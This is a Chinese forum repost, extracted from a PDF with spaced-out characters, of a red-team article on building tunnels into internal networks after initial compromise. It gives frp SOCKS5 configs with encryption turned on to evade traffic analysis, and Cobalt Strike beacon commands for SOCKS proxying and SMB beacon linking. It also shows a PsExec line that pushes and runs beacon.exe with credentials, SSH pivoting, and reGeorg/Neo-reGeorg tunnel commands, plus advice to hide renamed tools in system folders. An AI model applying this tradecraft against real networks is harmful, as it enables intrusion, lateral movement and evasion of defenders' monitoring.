搜索

[21824] 2021-03-30_实战中内网穿透的打法

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-03-30_实战中内网穿透的打法 实 战 中 内 网 穿 透 的 打 法 安 全 祖 师 爷   L e m o n S e c   2 0 2 1 - 0 3 - 3 0 前 言 前 言 在 内 网 渗 透 时 ， 一 个 W e b S h e l l 或 C o b a l t S t r i k e 、 M e t a s p l o i t 上 线 等 ， 只 是 开 端 ， 更 多 是 要 内 网 横 向 移 动 ， 扩 大 战 果 ， 打 到 核 心 区 域 。 但 后 渗 透 的 前 提 是 需 要 搭 建 一 条 通 向 内 网 的 “ 专 属 通 道 ” ， 才 能 进 一 步 攻 击 。 可 实 战 中 因 为 网 络 环 境 不 同 ， 所 利 用 的 方 式 就 不 同 。 以 下 为 自 我 总 结 “ 实 战 中 内 网 穿 透 的 打 法 ” 思 维 导 图 ： 目 标 出 网 （ 目 标 出 网 （ s o c k s 代 理 ） 代 理 ） 这 是 实 战 中 最 愿 意 碰 到 的 网 络 环 境 ， 目 标 机 可 以 正 常 访 问 互 联 网 ， 可 直 接 在 目 标 机 挂 s o c k s 代 理 或 C o b a l t S t r i k e 上 线 ， 打 通 目 标 的 内 网 通 道 。 F r p （ （ s o c k s 5 ） ） F r p 服 务 端 配 置 文 件 ： 1 [ c o m m o n ] 2 b i n d _ p o r t   =   8 0 8 0 F r p 客 户 端 配 置 文 件 ：
1 [ c o m m o n ] 2 s e r v e r _ a d d r   =   x x . x x . x x . x x 3 s e r v e r _ p o r t   =   8 0 8 0 4 # 服 务 端 口 使 用 W e b 常 见 端 口 5 6 [ s o c k s 5 ] 7 t y p e   =   t c p 8 r e m o t e _ p o r t   =   8 0 8 8 9 p l u g i n   =   s o c k s 5 1 0 u s e _ e n c r y p t i o n   =   t r u e 1 1 u s e _ c o m p r e s s i o n   =   t r u e 1 2 # s o c k s 5 口 令 1 3 # p l u g i n _ u s e r   =   S u p e r M a n 1 4 # p l u g i n _ p a s s w d   =   X p O 2 M c W e 6 n j 3 此 处 添 加 了 加 密 压 缩 这 两 个 功 能 ， 默 认 是 不 开 启 的 ， 根 据 作 者 介 绍 ， 压 缩 算 法 使 用 的 是   s n a p p y 。   启 用 加 密   [ 通 信 内 容 加 密 传 输 ， 有 效 防 止 流 量 被 拦 截 ] u s e _ e n c r y p t i o n   =   t r u e u s e _ e n c r y p t i o n   =   t r u e
  启 用 压 缩   [ 传 输 内 容 进 行 压 缩 ， 有 效 减 小 传 输 的 网 络 流 量 ， 加 快 流 量 转 发 速 度 ， 但 会 额 外 消 耗 一 些 C P U 资 源 ] u s e _ e n c r y p t i o n   =   t r u e   、 、 u s e _ c o m p r e s s i o n   =   t r u e   必 须 放 在 相 关 协 议 下 面 。 必 须 放 在 相 关 协 议 下 面 。 f r p 客 户 端 与 配 置 文 件 传 到 目 标 机 后 ， 把 程 序 名 与 配 置 文 件 进 行 修 改 ， 并 放 在 系 统 相 关 文 件 夹 中 ， 做 到 隐 蔽 。 加 密 压 缩 的 对 比 加 密 压 缩 的 对 比 这 是 f r p 客 户 端 配 置 文 件 中 未 使 用 与 功 能 ， 利 用 m e t a s p l o i t 挂 s o c k s 代 理 ， 扫 描 m s 1 7 _ 0 1 0 传 输 的 数 据 包 ， 明 显 可 辨 别 出 具 体 攻 击 行 为 。 如 果 目 标 内 网 有 ” 态 势 感 知 “ 、 流 量 分 析 等 安 全 设 备 ， 就 会 被 监 测 到 ， 导 致 权 限 丢 失 。 u s e _ c o m p r e s s i o n   =   t r u e u s e _ c o m p r e s s i o n   =   t r u e e n c r y p t i o n e n c r y p t i o n c o m p r e s s i o n c o m p r e s s i o n
使 用 与 功 能 后 ， 虽 攻 击 源 地 址 同 样 会 暴 露 ， 但 传 输 的 数 据 包 却 无 法 辨 别 ， 规 避 了 内 网 中 的 安 全 监 测 设 备 。 C o b a l t S t r i k e   ( s o c k s 4 a ) 到 已 控 目 标 机 的 B e a c o n 下 将 s o c k s 代 理 开 启 。 e n c r y p t i o n e n c r y p t i o n c o m p r e s s i o n c o m p r e s s i o n
1 b e a c o n   >   s o c k s   1 0 2 4   # 端 口 根 据 V P S 实 际 情 况 进 行 设 置 菜 单 栏 中 的 ， 复 制 代 理 连 接 到 M e t a s p l o i t 中 ， 或 直 接 将 s o c k s 4 a 挂 在 相 关 安 全 工 具 中 。 上 线 不 出 网 机 器 上 线 不 出 网 机 器 这 是 l i n k 链 接 ， 只 要 主 链 路 ( 出 网 机 B e a c o n ) 掉 线 ， 均 掉 ！ S M B   B e a c o n 官 方 对 S M B   B e a c o n 的 介 绍 ： S M B   B e a c o n 是 使 用 命 名 管 道 通 过 父 级 B e a c o n 进 行 通 讯 ， 当 两 个 B e a c o n s 链 接 后 ， 子 B e a c o n 从 父 B e a c o n 获 取 到 任 务 并 发 送 。 因 为 链 接 的 B e a c o n s 使 用 W i n d o w s 命 名 管 道 进 行 通 信 ， 此 流 量 封 装 在 S M B 协 议 中 ， 所 以 S M B B e a c o n 相 对 隐 蔽 。 创 建 一 个 S M B 的 L i s t e n e r   ( h o s t 与 p o r t 可 无 视 ) ， 注 意 L i s t e n e r 选 择 ， 在 s e s s i o n 中 选 择 r o u t e 可 达 的 主 机 派 生 会 话 。 运 行 成 功 后 ， 可 以 看 到   ∞ ∞   这 个 字 符 ， 这 就 是 派 生 S M B   B e a c o n 的 连 接 状 态 。 V i e w   >   P r o x y   P i v o t s V i e w   >   P r o x y   P i v o t s
可 在 主 B e a c o n 上 用 l i n k   h o s t 链 接 或 u n l i n k   h o s t 断 开 。 1 b e a c o n >   l i n k   1 9 2 . 1 6 8 . 1 4 4 . 1 5 5 2 b e a c o n >   u n l i n k   1 9 2 . 1 6 8 . 1 4 4 . 1 5 5 L i n k   L i s t e n e r 在 已 上 线 的 主 机 创 建 L i s t e n e r 。 导 出 该 类 型 L i s t e n e r 对 应 的 可 执 行 文 件 或 d l l 等 。
选 择 刚 建 立 的 L i s t e n e r 。 上 传 刚 才 生 成 的 p a y l o a d 到 当 前 已 上 线 的 目 标 机 中 ， 这 里 用 P s E x e c . e x e   工 具   。 ( C o b a l S t r i k e 本 身 p s e x e c 功 能 不 够 强 大 ) 在 B e a c o n 中 使 用 P s E x e c 工 具 将 p a y l o a d 上 传 到 不 出 网 的 目 标 机 中 ， 自 动 执 行 ， 上 线 。 1 b e a c o n >   s h e l l   C : W I N D O W S T e m p P s E x e c . e x e   - a c c e p t e u l a   1 9 2 . 1 6 8 . 1 4 4 . 1 5 5 , 1 9 2 . 1 6 8 . 1 4 4 . 1 9 6   - u   a d m i n i s t r a t o r   - p   a d m i n @ 1 2 3   - d   - c   C : W I N D O W S T e m p b e a c o n . e x e
1 b e a c o n >   s h e l l   n e t s t a t   - a n o   | f i n d s t r   4 4 4 4 S S H   L o g i n 1 b e a c o n >   s s h   1 9 2 . 1 6 8 . 1 4 4 . 1 7 4 : 2 2   r o o t   a d m i n 2 b e a c o n >   s s h   1 9 2 . 1 6 8 . 1 4 4 . 2 0 3 : 2 2   r o o t   a d m i n
在 L i n u x 目 标 机 中 查 看 网 络 连 接 状 态 ， 实 际 是 与 之 前 已 上 线 的 W i n d o w s 主 机 建 立 的 连 接 。 目 标 不 出 网 （ 目 标 不 出 网 （ h t t p 代 理 ） 代 理 ） 目 标 机 网 络 中 可 能 有 防 火 墙 、 网 闸 等 ， 只 允 许 h t t p 单 向 出 ， 无 法 正 常 访 问 互 联 网 ， 用 上 述 s o c k s 方 法 是 行 不 通 的 ， 只 能 用 h t t p 代 理 进 行 渗 透 。 r e G e o r g   ( s o c k s 5 ) 1 p y t h o n   r e G e o r g S o c k s P r o x y . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 4 4 . 2 1 1 / t u n n e l . a s p x   - l   0 . 0 . 0 . 0   - p   1 0 0 8 0
利 用 m e t a s p l o i t 挂 r e G e o r g   s o c k s 代 理 ， 扫 描 m s 1 7 _ 0 1 0 传 输 的 数 据 包 ， 明 显 可 辨 别 攻 击 行 为 。 N e o - r e G e o r g   ( 加 密 加 密 ) 1 p y t h o n   n e o r e g . p y   - k   t e s t @ 1 2 3   - l   0 . 0 . 0 . 0   - p   1 0 0 8 1   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 4 4 . 2 1 1 / n e o - t u n n e l . a s p x 使 用 N e o - r e G e o r g 后 ， 数 据 包 已 被 加 密 传 输 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理